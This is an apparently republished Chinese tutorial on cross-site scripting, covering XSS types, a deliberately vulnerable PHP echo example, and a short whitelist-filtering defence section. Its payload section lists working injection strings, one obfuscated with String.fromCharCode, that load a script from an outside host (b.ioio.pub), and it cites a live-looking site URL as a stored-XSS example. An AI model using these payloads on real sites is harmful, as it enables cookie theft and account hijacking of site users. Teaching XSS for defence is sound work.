您好,登錄后才能下訂單哦!
什么是XSS
跨站腳本***(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本***縮寫為XSS。惡意***者往web頁面里插入而已html代碼,當瀏覽該頁之時,嵌入其中web里面的html代碼會被執行,從而達到而已***用戶的特殊目的。
XSS可以干什么
盜取管理員Cookie或用戶Cookie
XSS Worm
掛馬(水坑***)
有局限性的鍵盤記錄
XSS分類
放射性XSS
存儲型XSS
DOM XSS
flash XSS
mXSS
反射(非持久)型XSS
發出請求時,XSS代碼出現在URL中,最后輸入提交到服務器,服務器解析后響應在響應內容中出現這段XSS代碼,最后瀏覽器解析執行
這個過程就像一次反射,所以命名為反射性XSS
xss.php <?php echo $_GET['x'] ?> #提交 /xss.php?x=<script>alert(1)</script>
服務端解析式,echo就會完整的輸出<script>alert(1)</script>到響應體中,然后瀏覽器解析執行觸發彈窗
儲存(持久)型XSS
儲存型XSS和反射型XSS的差別僅在于:提交的XSS代碼會儲存在服務器(不管是數據庫/內存/文件系統等),下次請求目標頁面是不用在提交XSS代碼。
最典型的例子就是留言板XSS,用戶提交一條包含XSS代碼的留言儲存到數據庫中,目標用戶查看留言板是,那些留言內容會從數據庫查村出來并顯示,瀏覽器發現有XSS代碼,就當作正常的HTML和JS解析執行,于是觸發了XSS***
儲存性XSS的***是最隱蔽的
#eg:http://www.nfpeople.com/user.php?id=21839
XSS是如何利用的
payload(有效的***代碼)
<script src='http://b.ioio.pub/xss/probe.js'></script> <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";> <svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js> <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109, 101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9 7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114, 99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98, 47,120,115,115,47,112,114,111,98,101,46,106,115)) >
修復
對XSS的防御需要根據實際情況對用戶的輸入進行嚴格的過濾。基于過濾的XSS防御方式通常可分為兩種:基于黑名單的過濾和基于白名單的過濾。后者的防御效果往往更好,對于用戶在白名單之外的輸入,可以直接忽略。在構造白名單的過程中需要保證在不影響用戶體驗的同時,盡可能杜絕一切不必要的輸入內容。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。